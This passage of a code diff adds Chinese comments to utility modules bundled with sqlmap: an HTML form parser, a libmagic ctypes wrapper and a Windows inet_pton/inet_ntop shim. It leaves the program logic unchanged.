 sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]")
 
 # HTMLParser.HTMLParser is recent, so live without it if it's not available
 # (also, sgmllib.SGMLParser is much more tolerant of bad HTML)
+# HTMLParser.HTMLParser是最近的，如果不可用，则没有它
+# （另外，sgmllib.SGMLParser对不良HTML的容忍度更高）
 try:
     import HTMLParser
 except ImportError:
@@ -131,9 +152,11 @@ else:
 try:
     import warnings
 except ImportError:
+    # 如果没有导入warnings模块，则定义一个空函数
     def deprecation(message, stack_offset=0):
         pass
 else:
+    # 如果成功导入warnings模块，则定义一个警告函数
     def deprecation(message, stack_offset=0):
         warnings.warn(message, DeprecationWarning, stacklevel=3+stack_offset)
 
@@ -224,29 +247,39 @@ string.
     return '&'.join(l)
 
 def unescape(data, entities, encoding=DEFAULT_ENCODING):
+    # 如果data为None或者data中不包含"&"，则直接返回data
     if data is None or "&" not in data:
         return data
 
+    # 如果data是字符串类型，则将encoding设置为None
     if isinstance(data, six.string_types):
         encoding = None
 
+    # 定义一个函数，用于替换实体
     def replace_entities(match, entities=entities, encoding=encoding):
+        # 获取匹配到的实体
         ent = match.group()
+        # 如果实体以"#"开头，则调用unescape_charref函数进行替换
         if ent[1] == "#":
             return unescape_charref(ent[2:-1], encoding)
 
+        # 从entities中获取实体的替换值
         repl = entities.get(ent)
+        # 如果替换值存在，并且encoding不为None，则尝试将替换值解码为字符串
         if repl is not None:
             if hasattr(repl, "decode") and encoding is not None:
                 try:
                     repl = repl.decode(encoding)
                 except UnicodeError:
                     repl = ent
+        # 如果替换值不存在，则将替换值设置为实体本身
         else:
             repl = ent
 
+        # 返回替换值
         return repl
 
+    # 使用正则表达式替换data中的实体
     return re.sub(r"&#?[A-Za-z0-9]+?;", replace_entities, data)
 
 def unescape_charref(data, encoding):
@@ -646,31 +679,47 @@ class _AbstractFormParser:
         self._textarea = None
 
     def start_label(self, attrs):
+        # 打印attrs
         debug("%s", attrs)
+        # 如果当前标签存在，则结束标签
         if self._current_label:
             self.end_label()
+        # 创建一个空字典
         d = {}
+        # 遍历attrs
         for key, val in attrs:
+            # 如果val需要转义，则进行转义
             d[key] = self.unescape_attr_if_required(val)
+        # 如果存在for属性，则taken为True
         taken = bool(d.get("for"))  # empty id is invalid
+        # 添加__text属性，值为空字符串
         d["__text"] = ""
+        # 添加__taken属性，值为taken
         d["__taken"] = taken
+        # 如果taken为True，则将d添加到labels列表中
         if taken:
             self.labels.append(d)
+        # 将当前标签设置为d
         self._current_label = d
 
     def end_label(self):
+        # 打印空字符串
         debug("")
+        # 获取当前标签
         label = self._current_label
+        # 如果当前标签不存在，则返回
         if label is None:
             # something is ugly in the HTML, but we're ignoring it
             return
+        # 将当前标签设置为None
         self._current_label = None
+        # 如果当前标签存在，则删除__taken属性
         # if it is staying around, it is True in all cases
         del label["__taken"]
 
     def _add_label(self, d):
         #debug("%s", d)
+        # 如果当前标签存在，且__taken属性为False，则将__taken属性设置为True，并将当前标签添加到d的__label属性中
         if self._current_label is not None:
             if not self._current_label["__taken"]:
                 self._current_label["__taken"] = True
@@ -743,12 +792,16 @@ class _AbstractFormParser:
         controls.append((type, name, d))
 
     def do_isindex(self, attrs):
+        # 打印传入的属性
         debug("%s", attrs)
         d = {}
+        # 遍历属性，将属性名和属性值存入字典
         for key, val in attrs:
             d[key] = self.unescape_attr_if_required(val)
+        # 获取当前表单的控件
         controls = self._current_form[2]
 
+        # 添加标签
         self._add_label(d)
         # isindex doesn't have type or name HTML attributes
         controls.append(("isindex", None, d))

src/sqlmap-master/thirdparty/magic/magic.py

@@ -64,14 +64,16 @@ class Magic:
         return magic_file(self.cookie, filename)
 
     def __del__(self):
-        # during shutdown magic_close may have been cleared already
+        # 析构函数，确保在对象被垃圾回收时关闭 libmagic cookie
         if self.cookie and magic_close:
             magic_close(self.cookie)
             self.cookie = None
 
+# 全局变量，用于保存默认和MIME magic对象
 _magic_mime = None
 _magic = None
 
+# 获取默认和MIME magic对象的函数
 def _get_magic_mime():
     global _magic_mime
     if not _magic_mime:
@@ -90,6 +92,7 @@ def _get_magic_type(mime):
     else:
         return _get_magic()
 
+# 公共函数，用于识别文件和缓冲区
 def from_file(filename, mime=False):
     m = _get_magic_type(mime)
     return m.from_file(filename)
@@ -98,6 +101,7 @@ def from_buffer(buffer, mime=False):
     m = _get_magic_type(mime)
     return m.from_buffer(buffer)
 
+# 使用 ctypes 导入 libmagic 库
 try:
     libmagic = None
 
@@ -106,7 +110,7 @@ try:
 
     from ctypes import c_char_p, c_int, c_size_t, c_void_p
 
-    # Let's try to find magic or magic1
+    # 尝试找到 libmagic 库
     dll = ctypes.util.find_library('magic') or ctypes.util.find_library('magic1')
 
     # This is necessary because find_library returns None if it doesn't find the library
@@ -116,6 +120,7 @@ try:
         except WindowsError:
             pass
 
+    # 如果没有找到，尝试平台特定的路径
     if not libmagic or not libmagic._name:
         platform_to_lib = {'darwin': ['/opt/local/lib/libmagic.dylib',
                                       '/usr/local/lib/libmagic.dylib',
@@ -127,10 +132,12 @@ try:
             except OSError:
                 pass
     
+    # 如果仍然没有找到，抛出 ImportError
     if not libmagic or not libmagic._name:
         # It is better to raise an ImportError since we are importing magic module
         raise ImportError('failed to find libmagic.  Check your installation')
 
+    # 定义 magic_t 类型和错误检查函数
     magic_t = ctypes.c_void_p
 
     def errorcheck(result, func, args):
@@ -145,6 +152,7 @@ try:
             return None
         return filename.encode(sys.getfilesystemencoding())
 
+    # 使用 ctypes 定义 libmagic 函数
     magic_open = libmagic.magic_open
     magic_open.restype = magic_t
     magic_open.argtypes = [c_int]
@@ -198,28 +206,31 @@ try:
     magic_compile.restype = c_int
     magic_compile.argtypes = [magic_t, c_char_p]
 
+# 如果 libmagic 无法导入，定义回退函数
 except (ImportError, OSError):
     from_file = from_buffer = lambda *args, **kwargs: MAGIC_UNKNOWN_FILETYPE
 
-MAGIC_NONE = 0x000000 # No flags
+
-MAGIC_DEBUG = 0x000001 # Turn on debugging
+# 定义 libmagic 标志常量
-MAGIC_SYMLINK = 0x000002 # Follow symlinks
+MAGIC_NONE = 0x000000 # 无标志
-MAGIC_COMPRESS = 0x000004 # Check inside compressed files
+MAGIC_DEBUG = 0x000001 # 打开调试
-MAGIC_DEVICES = 0x000008 # Look at the contents of devices
+MAGIC_SYMLINK = 0x000002 # 跟随符号链接
-MAGIC_MIME = 0x000010 # Return a mime string
+MAGIC_COMPRESS = 0x000004 # 检查压缩文件内部
-MAGIC_MIME_ENCODING = 0x000400 # Return the MIME encoding
+MAGIC_DEVICES = 0x000008 # 查看设备内容
-MAGIC_CONTINUE = 0x000020 # Return all matches
+MAGIC_MIME = 0x000010 # 返回 MIME 字符串
-MAGIC_CHECK = 0x000040 # Print warnings to stderr
+MAGIC_MIME_ENCODING = 0x000400 # 返回 MIME 编码
-MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
+MAGIC_CONTINUE = 0x000020 # 返回所有匹配项
-MAGIC_RAW = 0x000100 # Don't translate unprintable chars
+MAGIC_CHECK = 0x000040 # 打印警告到标准错误
-MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
+MAGIC_PRESERVE_ATIME = 0x000080 # 退出时恢复访问时间
-MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
+MAGIC_RAW = 0x000100 # 不转换不可打印字符
-MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
+MAGIC_ERROR = 0x000200 # 将 ENOENT 等视为真实错误
-MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
+MAGIC_NO_CHECK_COMPRESS = 0x001000 # 不检查压缩文件
-MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
+MAGIC_NO_CHECK_TAR = 0x002000 # 不检查 tar 文件
-MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
+MAGIC_NO_CHECK_SOFT = 0x004000 # 不检查 magic 条目
-MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
+MAGIC_NO_CHECK_APPTYPE = 0x008000 # 不检查应用程序类型
-MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
+MAGIC_NO_CHECK_ELF = 0x010000 # 不检查 elf 详细信息
-MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
+MAGIC_NO_CHECK_ASCII = 0x020000 # 不检查 ascii 文件
-MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens
+MAGIC_NO_CHECK_TROFF = 0x040000 # 不检查 ascii/troff
+MAGIC_NO_CHECK_FORTRAN = 0x080000 # 不检查 ascii/fortran
+MAGIC_NO_CHECK_TOKENS = 0x100000 # 不检查 ascii/tokens
 MAGIC_UNKNOWN_FILETYPE = b"unknown"

src/sqlmap-master/thirdparty/wininetpton/win_inet_pton.py

@@ -8,14 +8,15 @@ import socket
 import ctypes
 import os
 
-
+# 定义一个结构体，用于存储socket地址信息
 class sockaddr(ctypes.Structure):
-    _fields_ = [("sa_family", ctypes.c_short),
+    _fields_ = [("sa_family", ctypes.c_short),   # 地址族（例如AF_INET或AF_INET6）
-                ("__pad1", ctypes.c_ushort),
+                ("__pad1", ctypes.c_ushort),     # 填充字段
-                ("ipv4_addr", ctypes.c_byte * 4),
+                ("ipv4_addr", ctypes.c_byte * 4), # IPv4地址（4个字节）
-                ("ipv6_addr", ctypes.c_byte * 16),
+                ("ipv6_addr", ctypes.c_byte * 16),# IPv6地址（16个字节）
-                ("__pad2", ctypes.c_ulong)]
+                ("__pad2", ctypes.c_ulong)]     # 填充字段
 
+# 根据操作系统的不同，导入不同的库
 if hasattr(ctypes, 'windll'):
     WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA
     WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA
@@ -27,12 +28,13 @@ else:
     WSAStringToAddressA = not_windows
     WSAAddressToStringA = not_windows
 
-
+# inet_pton函数：将IP字符串转换为二进制格式
 def inet_pton(address_family, ip_string):
-    addr = sockaddr()
+    addr = sockaddr()  # 创建sockaddr实例
-    addr.sa_family = address_family
+    addr.sa_family = address_family  # 设置地址族
-    addr_size = ctypes.c_int(ctypes.sizeof(addr))
+    addr_size = ctypes.c_int(ctypes.sizeof(addr))  # 获取地址结构体大小
 
+    # 使用WSAStringToAddressA函数将IP字符串转换为地址结构体
     if WSAStringToAddressA(
             ip_string,
             address_family,
@@ -42,6 +44,7 @@ def inet_pton(address_family, ip_string):
     ) != 0:
         raise socket.error(ctypes.FormatError())
 
+    # 根据地址族返回对应的二进制IP地址
     if address_family == socket.AF_INET:
         return ctypes.string_at(addr.ipv4_addr, 4)
     if address_family == socket.AF_INET6:
@@ -49,14 +52,15 @@ def inet_pton(address_family, ip_string):
 
     raise socket.error('unknown address family')
 
-
+# inet_ntop函数：将二进制格式的IP地址转换为字符串
 def inet_ntop(address_family, packed_ip):
-    addr = sockaddr()
+    addr = sockaddr()  # 创建sockaddr实例
-    addr.sa_family = address_family
+    addr.sa_family = address_family  # 设置地址族
-    addr_size = ctypes.c_int(ctypes.sizeof(addr))
+    addr_size = ctypes.c_int(ctypes.sizeof(addr))  # 获取地址结构体大小
-    ip_string = ctypes.create_string_buffer(128)
+    ip_string = ctypes.create_string_buffer(128)  # 创建字符串缓冲区
-    ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string))
+    ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string))  # 获取字符串缓冲区大小
 
+    # 根据地址族将二进制IP地址复制到地址结构体中
     if address_family == socket.AF_INET:
         if len(packed_ip) != ctypes.sizeof(addr.ipv4_addr):
             raise socket.error('packed IP wrong length for inet_ntoa')
@@ -68,6 +72,7 @@ def inet_ntop(address_family, packed_ip):
     else:
         raise socket.error('unknown address family')
 
+    # 使用WSAAddressToStringA函数将地址结构体转换为IP字符串
     if WSAAddressToStringA(
             ctypes.byref(addr),
             addr_size,
@@ -79,7 +84,7 @@ def inet_ntop(address_family, packed_ip):
 
     return ip_string[:ip_string_size.value - 1]
 
-# Adding our two functions to the socket library
+# 如果当前操作系统是Windows，将自定义的inet_pton和inet_ntop函数添加到socket库中
 if os.name == 'nt':
     socket.inet_pton = inet_pton
     socket.inet_ntop = inet_ntop